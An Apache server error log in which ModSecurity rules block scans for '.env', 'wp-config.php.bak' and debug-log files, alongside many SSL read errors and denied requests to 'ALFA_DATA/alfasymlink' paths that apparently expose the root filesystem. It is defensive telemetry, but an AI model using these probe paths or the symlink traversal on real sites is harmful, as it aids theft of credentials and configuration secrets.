[Tue Oct 27 08:28:05.626680 2026] [security2:error] [pid 3230465:tid 3230465] [client 104.199.36.53:45858] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "auCY1XOijkS-hyCWJGdKBAAAAAI"]
[Tue Oct 27 08:28:05.626918 2026] [security2:error] [pid 3230465:tid 3230465] [client 104.199.36.53:45858] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "auCY1XOijkS-hyCWJGdKBAAAAAI"]
[Tue Oct 27 08:28:05.626935 2026] [security2:error] [pid 3220898:tid 3220898] [client 104.199.36.53:45848] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/v1/.env"] [unique_id "auCY1Y0JjhEi1NzVi4XskgAAAAc"]
[Tue Oct 27 08:28:05.627073 2026] [security2:error] [pid 3220898:tid 3220898] [client 104.199.36.53:45848] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/v1/.env"] [unique_id "auCY1Y0JjhEi1NzVi4XskgAAAAc"]
[Tue Oct 27 08:28:05.627305 2026] [security2:error] [pid 3220898:tid 3220898] [client 104.199.36.53:45848] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/v1/.env"] [unique_id "auCY1Y0JjhEi1NzVi4XskgAAAAc"]
[Tue Oct 27 08:28:05.628277 2026] [security2:error] [pid 3220899:tid 3220899] [client 104.199.36.53:45818] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v2/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/v2/.env"] [unique_id "auCY1QHzNpgY2H50otlp2AAAAAg"]
[Tue Oct 27 08:28:05.628432 2026] [security2:error] [pid 3220899:tid 3220899] [client 104.199.36.53:45818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/v2/.env"] [unique_id "auCY1QHzNpgY2H50otlp2AAAAAg"]
[Tue Oct 27 08:28:05.628674 2026] [security2:error] [pid 3220899:tid 3220899] [client 104.199.36.53:45818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/v2/.env"] [unique_id "auCY1QHzNpgY2H50otlp2AAAAAg"]
[Tue Oct 27 08:28:05.678977 2026] [security2:error] [pid 3227580:tid 3227580] [client 104.199.36.53:45816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "auCY1WUNDY12-2npPMSGLwAAAAo"]
[Tue Oct 27 08:28:05.679265 2026] [security2:error] [pid 3227580:tid 3227580] [client 104.199.36.53:45816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "auCY1WUNDY12-2npPMSGLwAAAAo"]
[Tue Oct 27 08:28:05.679674 2026] [security2:error] [pid 3227580:tid 3227580] [client 104.199.36.53:45816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "auCY1WUNDY12-2npPMSGLwAAAAo"]
[Tue Oct 27 08:28:05.681064 2026] [security2:error] [pid 3209611:tid 3209611] [client 104.199.36.53:45862] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns1.sherwinpinturas.com"] [uri "/wp-config.php.bak"] [unique_id "auCY1ZekxYBRCO5jo1OI7AAAABA"]
[Tue Oct 27 08:28:05.681399 2026] [security2:error] [pid 3209611:tid 3209611] [client 104.199.36.53:45862] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/wp-config.php.bak"] [unique_id "auCY1ZekxYBRCO5jo1OI7AAAABA"]
[Tue Oct 27 08:28:05.681732 2026] [security2:error] [pid 3209611:tid 3209611] [client 104.199.36.53:45862] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/wp-config.php.bak"] [unique_id "auCY1ZekxYBRCO5jo1OI7AAAABA"]
[Tue Oct 27 08:28:05.683052 2026] [security2:error] [pid 3219292:tid 3219292] [client 104.199.36.53:45802] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "ns1.sherwinpinturas.com"] [uri "/wp-content/debug.log"] [unique_id "auCY1W_oZ855J3-bmxEqmwAAAAY"]
[Tue Oct 27 08:28:05.683402 2026] [security2:error] [pid 3219292:tid 3219292] [client 104.199.36.53:45802] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns1.sherwinpinturas.com"] [uri "/wp-content/debug.log"] [unique_id "auCY1W_oZ855J3-bmxEqmwAAAAY"]
[Tue Oct 27 08:28:05.683746 2026] [security2:error] [pid 3219292:tid 3219292] [client 104.199.36.53:45802] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "ns1.sherwinpinturas.com"] [uri "/wp-content/debug.log"] [unique_id "auCY1W_oZ855J3-bmxEqmwAAAAY"]
[Tue Oct 27 08:28:08.048355 2026] [ssl:error] [pid 3233599:tid 3233599] (5)Input/output error: [client 23.21.175.228:1271] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:28:15.771892 2026] [ssl:error] [pid 3233619:tid 3233619] (70014)End of file found: [client 34.225.243.131:48082] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:28:24.003756 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 44.205.74.196:8466] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:28:28.650980 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 44.195.50.71:34158] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:28:35.721354 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 54.145.82.217:53741] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:28:43.669731 2026] [ssl:error] [pid 3233612:tid 3233612] (70014)End of file found: [client 98.80.130.239:56418] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:28:45.712772 2026] [security2:error] [pid 3233619:tid 3233619] [client 45.137.203.60:59067] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "cpanel.curso-de-ventas.com"] [uri "/___proxy_subdomain_cpanel/administrator/manifests/files/joomla.xml"] [unique_id "auCY_etJ0j7wSTDVgONw8wAAABg"]
[Tue Oct 27 08:28:45.712812 2026] [security2:error] [pid 3233619:tid 3233619] [client 45.137.203.60:59067] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "cpanel.curso-de-ventas.com"] [uri "/___proxy_subdomain_cpanel/administrator/manifests/files/joomla.xml"] [unique_id "auCY_etJ0j7wSTDVgONw8wAAABg"]
[Tue Oct 27 08:28:49.722930 2026] [core:error] [pid 3209611:tid 3209611] (13)Permission denied: [client 185.191.171.7:26758] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/trace_event_file/hwcache_align
[Tue Oct 27 08:29:03.747495 2026] [ssl:error] [pid 3230465:tid 3230465] (70014)End of file found: [client 52.2.83.227:24217] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:29:11.878786 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 23.21.119.232:7768] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:29:28.216723 2026] [core:error] [pid 3233619:tid 3233619] (13)Permission denied: [client 52.204.81.148:57442] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:04/physical_node/driver/0000:00:03.0/resource4_wc
[Tue Oct 27 08:29:31.917619 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 34.192.125.239:49753] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:29:32.184336 2026] [security2:error] [pid 3233595:tid 3233595] [client 129.226.193.111:53480] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/wapisimoagenda.php"] [unique_id "auCZLLmZ7VoTwYSWFNMQ0AAAAAQ"]
[Tue Oct 27 08:29:36.316618 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 52.54.249.218:56232] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:29:47.824707 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 34.192.67.98:6595] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:29:51.889318 2026] [core:error] [pid 3230465:tid 3230465] (13)Permission denied: [client 3.94.40.182:28208] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:00/driver/00:00/subsystem/drivers/rtc_cmos/unbind
[Tue Oct 27 08:29:59.766675 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 54.87.62.248:21342] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:30:11.921300 2026] [ssl:error] [pid 3233619:tid 3233619] (70014)End of file found: [client 18.207.79.144:8900] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:30:19.666320 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 98.82.38.120:4615] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:30:27.865734 2026] [ssl:error] [pid 3230467:tid 3230467] (70014)End of file found: [client 35.173.38.202:53249] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:30:31.857701 2026] [ssl:error] [pid 3233612:tid 3233612] (70014)End of file found: [client 3.221.222.168:57879] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:30:35.717733 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 98.82.38.120:55485] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:30:40.520055 2026] [ssl:error] [pid 3230465:tid 3230465] (70014)End of file found: [client 23.21.227.240:34803] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:30:43.683555 2026] [ssl:error] [pid 3233619:tid 3233619] (70014)End of file found: [client 3.215.59.93:44216] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:30:55.860462 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 18.213.240.226:3856] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:30:59.824179 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 54.89.90.224:37267] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:31:03.678337 2026] [ssl:error] [pid 3230467:tid 3230467] (70014)End of file found: [client 98.83.178.66:48669] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:31:11.784671 2026] [ssl:error] [pid 3233612:tid 3233612] (70014)End of file found: [client 3.215.59.93:65273] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:31:23.914715 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 52.202.233.37:19923] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:31:27.903806 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 18.232.11.247:35660] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:31:31.898042 2026] [ssl:error] [pid 3233595:tid 3233595] (70014)End of file found: [client 52.70.209.13:17358] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:31:35.884404 2026] [ssl:error] [pid 3233612:tid 3233612] (70014)End of file found: [client 100.29.63.24:21461] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:31:39.822426 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 3.212.219.113:4814] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:31:43.774409 2026] [ssl:error] [pid 3233619:tid 3233619] (70014)End of file found: [client 98.80.130.239:21946] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:31:47.783481 2026] [ssl:error] [pid 3230465:tid 3230465] (70014)End of file found: [client 52.45.92.83:5627] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:31:51.771984 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 3.232.39.98:53796] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:31:55.807324 2026] [core:error] [pid 3209603:tid 3209603] (13)Permission denied: [client 54.84.161.62:58832] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/wakeup/wakeup5/device/subsystem/drivers/battery/unbind
[Tue Oct 27 08:31:59.842687 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 54.225.81.20:31880] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:32:03.808216 2026] [ssl:error] [pid 3233595:tid 3233595] (70014)End of file found: [client 3.219.80.71:46359] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:32:10.256173 2026] [core:error] [pid 3230465:tid 3230465] (13)Permission denied: [client 85.208.96.196:45726] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/TCP/order
[Tue Oct 27 08:32:20.214635 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 44.223.115.10:35067] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:32:23.769246 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 3.209.174.110:46660] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:32:31.698125 2026] [ssl:error] [pid 3233619:tid 3233619] (70014)End of file found: [client 52.45.92.83:58607] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:32:35.813445 2026] [core:error] [pid 3220898:tid 3220898] (13)Permission denied: [client 44.207.69.106:39198] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/driver/new_id
[Tue Oct 27 08:32:40.436080 2026] [ssl:error] [pid 3230465:tid 3230465] (70014)End of file found: [client 18.213.27.222:42048] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:32:43.757829 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 52.3.104.214:56341] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:32:47.712138 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 52.54.95.127:47908] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:32:48.423790 2026] [core:error] [pid 3227580:tid 3227580] (13)Permission denied: [client 185.191.171.5:54540] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-96/sanity_checks
[Tue Oct 27 08:32:55.909596 2026] [ssl:error] [pid 3233595:tid 3233595] (70014)End of file found: [client 44.215.235.20:29926] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:33:11.836272 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 54.157.99.244:28610] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:33:15.841194 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 52.54.95.127:57770] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:33:24.039425 2026] [ssl:error] [pid 3233595:tid 3233595] (70014)End of file found: [client 100.29.128.75:64430] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:33:31.920902 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 52.202.233.37:17828] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:33:43.896680 2026] [core:error] [pid 3233595:tid 3233595] (13)Permission denied: [client 3.213.106.226:21357] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/memory9/node0/cpu0/driver/unbind
[Tue Oct 27 08:33:47.820265 2026] [ssl:error] [pid 3233612:tid 3233612] (70014)End of file found: [client 34.193.2.57:14192] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:33:51.776915 2026] [ssl:error] [pid 3233619:tid 3233619] (70014)End of file found: [client 34.227.156.153:22096] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:33:55.828286 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 18.207.79.144:15238] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:34:00.014716 2026] [ssl:error] [pid 3233596:tid 3233596] (70014)End of file found: [client 34.192.67.98:42588] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:34:03.998993 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 52.2.4.213:20103] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:34:10.460146 2026] [core:error] [pid 3233595:tid 3233595] (13)Permission denied: [client 185.191.171.17:54572] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ftrace_event_field/total_objects
[Tue Oct 27 08:34:12.576785 2026] [ssl:error] [pid 3233612:tid 3233612] (70014)End of file found: [client 18.232.36.1:33227] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:34:15.770359 2026] [core:error] [pid 3233619:tid 3233619] (13)Permission denied: [client 54.156.124.2:64278] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/devices/device:03/physical_node/driver/0000:00:02.0/resource1
[Tue Oct 27 08:34:23.744012 2026] [core:error] [pid 3233597:tid 3233597] (13)Permission denied: [client 54.85.109.140:29638] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory20/node0/cpu1/driver/unbind
[Tue Oct 27 08:34:27.769393 2026] [ssl:error] [pid 3233596:tid 3233596] (5)Input/output error: [client 100.28.57.133:10812] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:34:31.962159 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 98.84.60.17:14990] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:34:39.841435 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 18.213.27.222:60531] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:34:44.114412 2026] [core:error] [pid 3230467:tid 3230467] (13)Permission denied: [client 3.224.215.150:12108] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/driver/new_id
[Tue Oct 27 08:35:00.635057 2026] [ssl:error] [pid 3233597:tid 3233597] (70014)End of file found: [client 44.220.2.97:58234] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:35:00.635284 2026] [security2:error] [pid 3233597:tid 3233597] [client 44.220.2.97:58234] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory15/node0/memory13/node0/memory17/phys_index"] [unique_id "auCadBXV2BaOmFjTGjprPgAAAAs"]
[Tue Oct 27 08:35:00.635313 2026] [security2:error] [pid 3233597:tid 3233597] [client 44.220.2.97:58234] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory15/node0/memory13/node0/memory17/phys_index"] [unique_id "auCadBXV2BaOmFjTGjprPgAAAAs"]
[Tue Oct 27 08:35:08.078553 2026] [ssl:error] [pid 3230467:tid 3230467] (70014)End of file found: [client 3.209.174.110:50745] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:35:15.874267 2026] [ssl:error] [pid 3233612:tid 3233612] (70014)End of file found: [client 44.223.193.255:61119] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:35:19.825949 2026] [ssl:error] [pid 3233597:tid 3233597] (70014)End of file found: [client 52.73.6.26:58029] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:35:36.518606 2026] [ssl:error] [pid 3233612:tid 3233612] (70014)End of file found: [client 3.222.85.38:55700] AH02013: coalesce failed to read from data bucket
